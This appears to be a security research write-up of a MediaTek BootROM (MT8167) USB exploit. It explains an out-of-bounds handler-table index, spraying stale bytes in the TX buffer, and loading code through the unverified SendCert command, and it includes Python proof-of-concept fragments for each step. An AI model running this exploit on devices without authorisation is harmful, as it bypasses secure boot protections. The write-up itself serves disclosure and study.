The USB stack layers#

Before getting into the buffers, it’s worth understanding how the USB stack is organized, because it’s a bit more layered than you might expect.

At the bottom there’s the raw USB hardware; registers, FIFOs, endpoints. USB_EPFIFOWrite talks to this level directly, writing bytes into the hardware FIFO one at a time:

1
void USB_EPFIFOWrite(uint8_t nEP, uint16_t nBytes, void *pSrc) {
2
    USB_INDEX = nEP;
3

4
    uint8_t *p = (uint8_t *)pSrc;
5
    uint8_t *fifo = (uint8_t *)(nEP * 4 + 0x11100020);
6

7
    while (nBytes--) {
8
        *fifo = *p++;
9
    }
10
}

Above that sits the ACM layer. USBDL_PutByte and its receive counterpart handle the staging buffers and know about packet boundaries:

1
void USBDL_PutByte(uint8_t data) {
2
    usbacm_tx_buf.data[usbacm_tx_buf.len] = data;
3
    usbacm_tx_buf.len++;
4
    if (usbacm_tx_buf.len == packet_size) {
5
        USB_EPFIFOWrite(...);
6
        usbacm_tx_buf.len = 0;
7
    }
8
}

But there’s another layer on top of all of this that’s easy to miss. At some point during initialization, the BROM calls IO_Init, which sets up a small function pointer table that abstracts over the two supported I/O interfaces, USB and UART:

1
void IO_Init(IO_INTERFACE vio) {
2
    if (vio == IO_USB) {
3
        IO_GetData  = (code *)0x5E99;  // USBDL_GetByte
4
        IO_PutData  = (code *)0x5EB3;  // USBDL_PutByte (wrapper)
5
        IO_TX_Flush = (code *)0x7321;  // USBDL_Flush
6
    } else if (vio == IO_UART) {
7
        IO_GetData  = (code *)0xD029;  // UART_adpt_GetData
8
        IO_PutData  = (code *)0xD043;  // UART_adpt_PutData
9
        IO_TX_Flush = (code *)0xD05D;  // UART_CheckSendComplete
10
    }
11
}

Whichever interface gets selected, the command handlers don’t call USBDL_PutByte directly.

Instead they go through a small serialization layer IO_PutData32_Ex, IO_PutData16_Ex, and IO_PutByte_Ex, which breaks values down into individual bytes and feeds them into IO_PutData one at a time:

1
void IO_PutData32_Ex(uint32_t data32, bool flush_tx) {
2
    for (int i = 0; i < 4; i++) {
3
        uint8_t byte = data32 >> (24 - i * 8);
4
        (*IO_PutData)(&byte, 1, 0xffffffff);
5
    }
6
    if (flush_tx)
7
        (*IO_TX_Flush)();
8
}

This means none of the command handlers need to know which interface is active, they just call IO_PutData32_Ex and let the function pointer table sort it out. The full picture looks like this:

The transmit buffer#

When the BROM needs to communicate with the host, it doesn’t read from or write to the USB hardware directly.

Instead, it stages data in RAM first. There’s a receive buffer for incoming data and a transmit buffer for outgoing data.

For the receive buffer, incoming bytes from the host land there and get consumed by whatever command handler is currently running.

The transmit buffer is a structure called usbacm_tx_buf, sitting at 0x001060E0 (for MT8167):

1
struct {
2
    uint32_t len;    // 0x001060E0 (how many bytes are currently queued)
3
    uint8_t  data[]; // 0x001060E4 (the actual bytes)
4
} usbacm_tx_buf;

len is the write cursor, it tracks how many bytes are currently sitting in data[] waiting to be sent.

Every outgoing byte goes through USBDL_PutByte, which appends it to data[] and bumps len:

1
void USBDL_PutByte(uint8_t data) {
2
    usbacm_tx_buf.data[usbacm_tx_buf.len] = data;
3
    usbacm_tx_buf.len++;
4
    if (usbacm_tx_buf.len == packet_size) { // 64 on FS, 512 on HS
5
        USB_EPFIFOWrite(txpipe->byEP, packet_size, usbacm_tx_buf.data);
6
        USB_EP_Bulk_Tx_Ready(txpipe->byEP);
7
        usbacm_tx_buf.len = 0;
8
    }
9
}

Once len hits the packet size, the buffer gets flushed to the hardware FIFO and len resets to zero. The bytes in data[] don’t get cleared, they just sit there in RAM until something else writes over them.

There’s also USBDL_Flush(), which sends whatever’s currently queued without waiting for the buffer to fill up:

1
void USBDL_Flush(void) {
2
    if (nDevState == DEVSTATE_CONFIG && usbacm_tx_buf.len != 0) {
3
        nEP = txpipe->byEP;
4
        gUSBAcm_IsInEPComplete = false;
5
        USB_EPFIFOWrite(nEP, usbacm_tx_buf.len, usbacm_tx_buf.data);
6
        USB_EP_Bulk_Tx_Ready(nEP);
7
        while (!gUSBAcm_IsInEPComplete)
8
            USB_HISR();
9
        usbacm_tx_buf.len = 0;
10
    }
11
}

Same result, len resets to zero, bytes stay in RAM. This “stale bytes” behavior is going to matter a lot later.

BROM command loop#

BROM doesn’t always end up in the command loop, this only happens when it boots into USBDL mode. There are a few reasons this can happen.

The most common ones are a missing or invalid Preloader, a shorted eMMC, or a device that’s simply blank from the factory. Some devices also expose a button combo that forces USBDL mode at boot.

Whatever the cause, once the BROM decides it’s in USBDL mode, it initializes the USB stack and starts waiting for the host to interact with it.

The loop reads a command byte and dispatches it to the appropriate handler:

1
void BromCmdLoop(void) {
2
    BromCmdLoop_Init();
3
    while (true) {
4
        uint8_t cmd = IO_GetByte();
5
        IO_PutByte_Ex(cmd, true); // echo cmd
6
        switch (cmd) {
7
        case 0xD1: BromCmd_Read(CMD_LEN_32, false);  break;
8
        case 0xD4: BromCmd_Write(CMD_LEN_32, true);  break;
9
        case 0xE0: BromCmd_SendCert();               break;
10
        case 0xFD: BromCmd_Get_HW_Code();            break;
11
        // ...
12
        }
13
    }
14
}

There are quite a few commands, but the ones relevant to this exploit are:

• 0xD1: BromCmd_Read: read arbitrary memory and echo it back
• 0xD4: BromCmd_Write: write arbitrary memory
• 0xE0: BromCmd_SendCert: load a blob into memory at a fixed address

Every one of these handlers echoes its arguments back before doing anything.

The interface handler table#

When the BROM receives a USB control request on endpoint 0, it hands it off to USB_Endpoint0_Idle.

This function is responsible for parsing the request and dispatching it to the appropriate handler:

1
void USB_Endpoint0_Idle(void) {
2
    USB_EPFIFORead(0, 8, &cmd);
3

4
    if ((cmd.bmRequestType & USB_CMD_TYPEMASK) == 0) {
5
        // standard requests
6
        switch (cmd.bRequest) {
7
        case 0x05: stall = USB_Cmd_SetAddress(&ep0info, &cmd);    break;
8
        case 0x06: stall = USB_Cmd_GetDescriptor(&ep0info, &cmd); break;
9
        case 0x09: stall = USB_Cmd_SetConfiguration(&ep0info, &cmd); break;
10
        case 0x0b: stall = USB_Cmd_SetInterface(&ep0info, &cmd);  break;
11
        // ...
12
        }
13
        return;
14
    }
15

16
    // class specific requests
17
    if ((cmd.bmRequestType & 0x60) != 0x20) {
18
        USB_Update_EP0_State(USB_EP0_DRV_STATE_READ_END, 1, false);
19
        return;
20
    }
21

22
    if ((cmd.bmRequestType != 0xA1) && (cmd.bmRequestType != 0x21)) {
23
        USB_Update_EP0_State(USB_EP0_DRV_STATE_READ_END, 1, false);
24
        return;
25
    }
26

27
    if (if_info[(byte)cmd.wIndex].if_class_specific_hdlr != NULL) {
28
        (*if_info[(byte)cmd.wIndex].if_class_specific_hdlr)(&ep0info, &cmd);
29
        return;
30
    }
31

32
    USB_Update_EP0_State(USB_EP0_DRV_STATE_READ_END, 1, false);
33
}

Standard requests like SetAddress or GetDescriptor are handled inline whereas class specific requests (identified by bmRequestType having the class bit set) get dispatched through a different path.

For those, the BROM looks up the handler in if_info, a table of interface descriptors sitting at 0x00103780.

Each entry is 0x34 bytes and contains, among other things, a function pointer at offset +0x04:

1
struct Usb_Interface_Info {
2
    char     *interface_name;          // +0x00
3
    void     *if_class_specific_hdlr;  // +0x04 (function pointer)
4
    uint16_t  ifdscr_size;             // +0x08
5
    // ...
6
};

When a class specific request comes in, the BROM takes cmd.wIndex, uses it as an index into if_info, and calls the handler directly:

1
(*if_info[(byte)cmd.wIndex].if_class_specific_hdlr)(&ep0info, &cmd);

There are only three registered interfaces, but nothing stops you from requesting wIndex=200, or wIndex=204, or any other value that lands outside the legitimate interface entries.

Handshake and setup#

1
dev.handshake()
2
dev.write32(0x10007000, 0x22000000)

Before anything else, the host needs to establish communication with the BROM. The handshake is a simple four byte sequence.

BROM expects A0 0A 50 05 and responds with the bitwise complement of each byte. Once that’s done, it is ready to accept commands.

If the device was entered via a hardware short on the eMMC, the user also needs to release the short at this point before continuing.

The PoC handles this with a small thread that kicks the watchdog every second while waiting for user input:

1
thread = UserInputThread()
2
thread.start()
3
while not thread.done:
4
    dev.write32(0x10007008, 0x1971)  # kick watchdog
5
    time.sleep(1)

Once the short is released and the thread signals done, execution continues with the rest of the exploit.

The TX buffer spray#

The next thing the PoC does is manipulate the TX buffer:

1
addr = 0x10007050
2
dev.write32(addr, [0xA1000])
3
cnt = 15
4
for i in range(cnt):
5
    dev.read32(addr - (cnt - i) * 4, cnt - i + 1)

The goal is to get 0x000A1000, the payload address in LE, to land at a specific offset inside usbacm_tx_buf that corresponds to if_info[wIndex].if_class_specific_hdlr for the wIndex we plan to use in the trigger step.

WDT_BASE + 0x50 is used as the scratch address because it falls inside the watchdog register region, one of the memory regions the BROM allows you to access freely.

What the register itself does doesn’t really matter, what matters is that it’s accessible without triggering any access violations.

write32(addr, [0xA1000]) plants 0x000A1000 there. From that point, the loop issues a series of reads with increasing starting addresses and sizes, all anchored around addr.

Each iteration reads one more word than the last, starting one address further back:

1
i=0:  read32(addr - 60, 16)
2
i=1:  read32(addr - 56, 15)
3
...
4
i=14: read32(addr - 4,  2) (last word = addr = 0x000A1000)

Every one of those reads echoes its data back through USBDL_PutByte, accumulating in the TX buffer. The exact offsets depend on the memory layout of the specific BROM.

The end result is the same. 0x000A1000 ends up sitting at the right offset inside usbacm_tx_buf to overlap with if_info[wIndex].if_class_specific_hdlr.

Loading the payload#

For the exploit to work, there has to be a way to upload arbitrary code into memory. Thankfully, BromCmd_SendCert (0xE0) does exactly that.

It was probably designed to receive a certificate blob from the host and load it into memory at 0x100A00 for verification.

1
def attempt2(d):
2
    d.write(b"\xE0")
3
    result = d.read(1)
4
    d.write(p32(0xA00))
5
    result = d.read(4)
6
    payload = load_payload_file("../brom-payload/stage1/stage1.bin")
7
    d.write(payload)

The host sends 0xA00 as the length, the BROM echoes it back, then reads that many bytes into 0x100A00. On the BROM side:

1
uint32_t BromCmd_SendCert(void) {
2
    uint32_t len = IO_GetData32();
3
    IO_PutData32_Ex(len, true);
4

5
    if (!bExecOnce) {
6
        bExecOnce = true;
7
        if (Secure_SCTRL_CERT_IsValidRange(len) < 0xff) {
8
            IO_PutData16_Ex(status, true);
9
            IO_GetDataBlock8(0x100A00, len, 5);  // payload lands here
10
            Secure_SCTRL_CERT_Verify(0x100A00);  // fails, but doesn't clean up
11
        }
12
    }
13

14
    IO_PutData16_Ex(status, true);
15
    return status;
16
}

The detail here is that the data gets written to memory before verification runs. The cert check will fail since we’re not sending anything valid, but BROM never cleans up the memory afterwards.

The only real constraint is size, the payload must fit within 0xA00 bytes, which is solved by using a two-stage approach.

Pulling the trigger#

At this point the two pieces are in place, the payload is sitting at 0x100A00 and usbacm_tx_buf has been sprayed with 0x000A1000 at the right offset. All that’s left is to trigger the jump.

To confirm this, here’s a hexdump of usbacm_tx_buf taken from inside the stage1 payload immediately after it starts running:

1
001060E0  00 00 00 00 A1 A2 A3 A4  00 0A 10 00 00 0A 10 00  |................|
2
001060F0  00 0A 10 00 00 0A 10 00  00 0A 10 00 00 0A 10 00  |................|

len is zero (the buffer was flushed), and 0x000A1000 is sitting repeatedly through data[]. The value at data[16] = 0x1060F4 is what matters, that’s where if_info[204].if_class_specific_hdlr lives:

1
>>> hex(0x00103780 + 204 * 0x34 + 4)
2
'0x1060F4'

0x00103780 is the base address of if_info, 0x34 is the size of each entry, 204 is the index, and +4 is the offset of if_class_specific_hdlr within the entry.

The result lands exactly at 0x1060F4, inside usbacm_tx_buf.data[]. The trigger is a USB control request:

1
try:
2
    udev.ctrl_transfer(0xA1, 0, 0, 204, 0)
3
except usb.core.USBError as e:
4
    print(e)

0xA1 is bmRequestType with the class bit set (0x20) and the direction bit set (0x80). This translates to a class-specific request from device to host.

wIndex=204 is what gets used to index into if_info. USB_Endpoint0_Idle receives the request and does:

1
(*if_info[(byte)cmd.wIndex].if_class_specific_hdlr)(&ep0info, &cmd);

if_info[204].if_class_specific_hdlr contains 0x000A1000 (put there by the spray) so execution jumps straight to the payload at 0x100A00.

The stage1 payload confirms it’s running by sending back 0xA1A2A3A4:

1
data = d.read(4)
2
if data != b"\xA1\xA2\xA3\xA4":
3
    raise RuntimeError("...")

If that comes back, the exploit succeeded and the payload is running.